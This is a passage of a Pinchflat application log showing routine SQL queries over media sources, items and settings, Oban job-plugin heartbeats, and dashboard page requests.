s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 22:03:04.175 [debug] QUERY OK source="media_items" db=3.2ms idle=12.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:03:04.177 [debug] QUERY OK source="media_items" db=1.7ms idle=12.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:03:04.177 [debug] QUERY OK source="sources" db=0.3ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:03:04.179 [info] Sent 200 in 44ms 22:03:20.929 [info] {"source":"oban","duration":4820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:50.941 [info] {"source":"oban","duration":5825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.307 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:20.947 [info] {"source":"oban","duration":3621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:50.963 [info] {"source":"oban","duration":4769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.314 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:20.969 [info] {"source":"oban","duration":3457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:50.975 [info] {"source":"oban","duration":4306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.318 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:20.984 [info] {"source":"oban","duration":5804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:50.993 [info] {"source":"oban","duration":3974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.327 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:21.001 [info] {"source":"oban","duration":5586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:51.007 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.330 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:21.012 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:51.025 [info] {"source":"oban","duration":4055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.339 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:21.028 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:51.037 [info] {"source":"oban","duration":5410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.341 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:21.043 [info] {"source":"oban","duration":3775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:51.055 [info] {"source":"oban","duration":3518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.343 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:21.064 [info] {"source":"oban","duration":2734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:51.071 [info] {"source":"oban","duration":2528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.347 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:21.075 [info] {"source":"oban","duration":2151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:51.081 [info] {"source":"oban","duration":1995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.351 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:21.089 [info] {"source":"oban","duration":6115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:51.091 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.354 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:21.094 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:51.102 [info] {"source":"oban","duration":6633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.363 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:21.116 [info] {"source":"oban","duration":4734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:51.123 [info] {"source":"oban","duration":4056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.366 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:21.133 [info] {"source":"oban","duration":4615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:51.139 [info] {"source":"oban","duration":3661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.370 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:20.172 [info] GET / 22:17:20.172 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:17:20.176 [debug] QUERY OK source="settings" db=0.5ms idle=1020.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:20.177 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=1024.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:17:20.178 [debug] QUERY OK source="sources" db=0.2ms idle=1024.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:17:20.180 [debug] QUERY OK source="media_items" db=2.4ms idle=611.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:17:20.181 [debug] QUERY OK source="media_items" db=0.7ms idle=25.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:17:20.183 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:20.183 [debug] QUERY OK source="settings" db=0.2ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:20.184 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:20.187 [debug] QUERY OK source="tasks" db=0.4ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:17:20.189 [debug] QUERY OK source="media_items" db=0.4ms idle=6.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:17:20.190 [debug] QUERY OK source="media_items" db=0.6ms idle=6.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:17:20.191 [debug] QUERY OK source="sources" db=0.5ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 22:17:20.195 [debug] QUERY OK source="media_items" db=2.4ms idle=8.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:17:20.197 [debug] QUERY OK source="media_items" db=1.2ms idle=8.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:17:20.197 [debug] QUERY OK source="sources" db=0.2ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:20.199 [info] Sent 200 in 26ms 22:17:21.146 [info] {"source":"oban","duration":4392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:21.146 [info] GET /sources 22:17:21.147 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:17:21.149 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=952.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.150 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=952.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.151 [debug] QUERY OK source="settings" db=0.4ms idle=953.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.152 [debug] QUERY OK source="settings" db=0.2ms idle=582.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.152 [debug] QUERY OK source="settings" db=0.2ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.156 [debug] QUERY OK source="sources" db=2.0ms idle=4.8ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:17:21.158 [info] GET /sources/7/media/14035 22:17:21.159 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "14035", "source_id" => "7"} Pipelines: [:browser] 22:17:21.159 [info] GET /settings 22:17:21.159 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 22:17:21.159 [debug] QUERY OK source="sources" db=3.0ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:17:21.160 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=8.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14035] 22:17:21.160 [debug] QUERY OK source="settings" db=0.6ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.161 [debug] QUERY OK source="sources" db=0.8ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:21.161 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=7.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [14035] 22:17:21.161 [debug] QUERY OK source="settings" db=0.8ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.163 [info] GET /sources/10 22:17:21.163 [info] GET /app_info 22:17:21.163 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "10"} Pipelines: [:browser] 22:17:21.163 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 22:17:21.163 [info] GET /media_profiles 22:17:21.164 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 22:17:21.164 [debug] QUERY OK source="oban_jobs" db=2.4ms idle=1.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2328] 22:17:21.164 [debug] QUERY OK source="settings" db=2.7ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.165 [info] Sent 200 in 18ms 22:17:21.165 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", 